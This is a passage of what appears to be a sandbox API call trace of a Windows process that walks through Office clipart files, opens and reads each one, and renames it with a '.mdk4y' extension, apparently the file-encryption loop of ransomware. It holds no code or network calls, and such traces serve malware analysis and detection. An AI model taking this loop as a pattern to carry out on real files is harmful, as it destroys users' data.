Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.mdk4y")) returned 1 [0173.373] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.373] AreFileApisANSI () returned 1 [0173.373] GetACP () returned 0x4e4 [0173.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00712_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00712_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824860400000) returned 1 [0173.374] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1db8, lpOverlapped=0x0) returned 1 [0173.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824860500000) returned 1 [0173.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824860500000) returned 1 [0173.375] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.mdk4y")) returned 1 [0173.376] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.376] AreFileApisANSI () returned 1 [0173.376] GetACP () returned 0x4e4 [0173.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL01040_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL01040_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.376] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824860700000) returned 1 [0173.377] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcdc, lpOverlapped=0x0) returned 1 [0173.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824861700000) returned 1 [0173.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824861700000) returned 1 [0173.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.mdk4y")) returned 1 [0173.388] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.388] AreFileApisANSI () returned 1 [0173.388] GetACP () returned 0x4e4 [0173.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL01041_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL01041_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.388] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824861900000) returned 1 [0173.389] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x60c, lpOverlapped=0x0) returned 1 [0173.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824862600000) returned 1 [0173.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824862600000) returned 1 [0173.397] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.mdk4y")) returned 1 [0173.398] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.398] AreFileApisANSI () returned 1 [0173.398] GetACP () returned 0x4e4 [0173.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL01394_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL01394_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.398] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824862900000) returned 1 [0173.399] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b04, lpOverlapped=0x0) returned 1 [0173.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824863400000) returned 1 [0173.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824863400000) returned 1 [0173.404] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.mdk4y")) returned 1 [0173.405] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.405] AreFileApisANSI () returned 1 [0173.405] GetACP () returned 0x4e4 [0173.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL01395_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL01395_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.406] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824863600000) returned 1 [0173.406] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x138c, lpOverlapped=0x0) returned 1 [0173.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864000000) returned 1 [0173.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864000000) returned 1 [0173.410] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.mdk4y")) returned 1 [0173.411] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.411] AreFileApisANSI () returned 1 [0173.411] GetACP () returned 0x4e4 [0173.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL01565_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL01565_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.411] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.412] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864200000) returned 1 [0173.412] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6cc4, lpOverlapped=0x0) returned 1 [0173.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864300000) returned 1 [0173.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864300000) returned 1 [0173.413] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.mdk4y")) returned 1 [0173.414] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.414] AreFileApisANSI () returned 1 [0173.414] GetACP () returned 0x4e4 [0173.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00017_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00017_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.414] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864600000) returned 1 [0173.416] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36aa, lpOverlapped=0x0) returned 1 [0173.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864700000) returned 1 [0173.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864700000) returned 1 [0173.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.mdk4y")) returned 1 [0173.418] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.418] AreFileApisANSI () returned 1 [0173.418] GetACP () returned 0x4e4 [0173.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00018_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00018_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.418] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824864800000) returned 1 [0173.419] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x32f6, lpOverlapped=0x0) returned 1 [0173.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824865800000) returned 1 [0173.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824865800000) returned 1 [0173.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.mdk4y")) returned 1 [0173.429] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.429] AreFileApisANSI () returned 1 [0173.429] GetACP () returned 0x4e4 [0173.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00152_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00152_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.429] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824865900000) returned 1 [0173.429] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7a80, lpOverlapped=0x0) returned 1 [0173.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824866600000) returned 1 [0173.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824866600000) returned 1 [0173.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.mdk4y")) returned 1 [0173.438] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.438] AreFileApisANSI () returned 1 [0173.438] GetACP () returned 0x4e4 [0173.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00157_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00157_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.438] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824866900000) returned 1 [0173.439] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4754, lpOverlapped=0x0) returned 1 [0173.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824867500000) returned 1 [0173.445] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824867500000) returned 1 [0173.445] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.mdk4y")) returned 1 [0173.446] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.446] AreFileApisANSI () returned 1 [0173.446] GetACP () returned 0x4e4 [0173.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00159_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00159_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.446] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824867800000) returned 1 [0173.448] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2026, lpOverlapped=0x0) returned 1 [0173.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824868800000) returned 1 [0173.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824868800000) returned 1 [0173.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.mdk4y")) returned 1 [0173.460] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.460] AreFileApisANSI () returned 1 [0173.460] GetACP () returned 0x4e4 [0173.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00166_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00166_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.460] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824869100000) returned 1 [0173.461] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x35b2, lpOverlapped=0x0) returned 1 [0173.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824869200000) returned 1 [0173.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824869200000) returned 1 [0173.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.mdk4y")) returned 1 [0173.463] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.463] AreFileApisANSI () returned 1 [0173.463] GetACP () returned 0x4e4 [0173.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00168_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00168_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.463] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824869400000) returned 1 [0173.464] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b2e, lpOverlapped=0x0) returned 1 [0173.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824870500000) returned 1 [0173.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824870500000) returned 1 [0173.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.mdk4y")) returned 1 [0173.477] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.477] AreFileApisANSI () returned 1 [0173.477] GetACP () returned 0x4e4 [0173.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00170_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00170_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.477] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824870800000) returned 1 [0173.478] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2242, lpOverlapped=0x0) returned 1 [0173.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824870900000) returned 1 [0173.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824871000000) returned 1 [0173.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.mdk4y")) returned 1 [0173.481] FindNextFileW 